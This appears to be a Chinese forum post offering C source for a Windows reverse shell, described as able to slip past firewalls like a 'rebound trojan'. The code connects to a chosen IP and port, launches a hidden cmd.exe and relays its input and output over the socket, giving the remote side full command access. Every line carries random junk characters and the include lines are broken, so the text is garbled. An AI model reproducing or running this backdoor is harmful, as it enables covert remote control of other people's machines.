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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  /q@ s  
s3 ;DG  
/* ============================== <|*'O5B  
Rebound port in Windows NT D-U<u@A4  
By wind,2006/7 J@ L9p46,  
===============================*/ S|zW^|YU  
#include !~ZP{IXyo  
#include jhGlG-^  
S\wW)Pv8  
#pragma comment(lib,"wsock32.lib") ;c -3g]  
1 Vy,&[c~"  
void OutputShell(); &5%dhc4&!&  
SOCKET sClient; o3Vn<Z$/Cl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; FkqQf8HB  
/_\#zC[  
void main(int argc,char **argv) vMs;>lhtg  
{ ,WQ^tI=O  
WSADATA stWsaData; 2`a q**}  
int nRet; SMf+qiM-E  
SOCKADDR_IN stSaiClient,stSaiServer; =1oNZKBP  
`T2<<<  
if(argc != 3) J R PSvP\  
{ f&x0@Q/eON  
printf("Useage:\n\rRebound DestIP DestPort\n"); W0zbxJKjd  
return; }K(o9$V ^!  
} 8seBT ;S  
f{lZKfrp  
WSAStartup(MAKEWORD(2,2),&stWsaData); MDRe(rF=  
)B!d,HKt;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A K/z6XGy  
Zw] ?.  
stSaiClient.sin_family = AF_INET; XTeb9h)3  
stSaiClient.sin_port = htons(0); CodSJ,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %5  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *zWWmxcJa  
{ nW+YOX|+  
printf("Bind Socket Failed!\n"); a45 ss7  
return; l+y}4 k=/  
} }E}8_ 8T6  
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stSaiServer.sin_family = AF_INET; 2uk x (Z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cE{ =(OQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M]HgIL@9#  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &,i~cG?  
{ oh#> 5cA8  
printf("Connect Error!"); 3,);0@I  
return; 7W9~1 .SC  
} IC{F.2D  
OutputShell(); G_Ay   
} m= b~i^@  
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void OutputShell() WA)Ij(M8 p  
{ z{BA4sn  
char szBuff[1024]; !]S=z^"<  
SECURITY_ATTRIBUTES stSecurityAttributes; -qebQv  
OSVERSIONINFO stOsversionInfo; *mBJ? { !  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x7RdZC  
STARTUPINFO stStartupInfo; hxC!+ArVe  
char *szShell; 137Xl>nO  
PROCESS_INFORMATION stProcessInformation; (\dK4JJ  
unsigned long lBytesRead; 2D([Z-<i  
>!9h6BoGV  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;t]|15]u  
?A7Yk4Y.?N  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {*/dD`  
stSecurityAttributes.lpSecurityDescriptor = 0; )9P&=  
stSecurityAttributes.bInheritHandle = TRUE; C;a@Jjor'  
>Jm"2U}lZW  
TK>{qxt:=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u8OxD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )Hf~d=GG  
>WM3|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .}9FEn 8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `<j_[(5yb  
stStartupInfo.wShowWindow = SW_HIDE; 1.R kIB  
stStartupInfo.hStdInput = hReadPipe; X^< >6|)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GJ}.\EaAJ  
djT. 1(  
GetVersionEx(&stOsversionInfo); j[P8  
aQcN&UA@  
switch(stOsversionInfo.dwPlatformId) b4 hIeBI\  
{ yty` 2$O  
case 1: =J@`0H"  
szShell = "command.com"; 4R+P  
break; 9B)lGLL}q  
default: xaL#MIR"u"  
szShell = "cmd.exe"; 3:|-#F*k{  
break; ]@SU4  
} ]0D9N"  
Sue 6+p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {TL +7kiX/  
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send(sClient,szMsg,77,0); C(]'&~}(  
while(1) ):bu;3E  
{ JfTfAq]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FD6v /Y  
if(lBytesRead) `Lz1{#F2G  
{ n9 fk,3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "g `nsk  
send(sClient,szBuff,lBytesRead,0); (G8  
} '8r8%XI  
else 3C"_$?y"  
{ vF>gU_gz.  
lBytesRead=recv(sClient,szBuff,1024,0); Yg6I&#f7&  
if(lBytesRead<=0) break; +p?hGoF=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); id?_>9@P  
} 4uX(_5#j  
} f[qPG&  
O|UxFnB}  
return; 8U^D(jrz  
}
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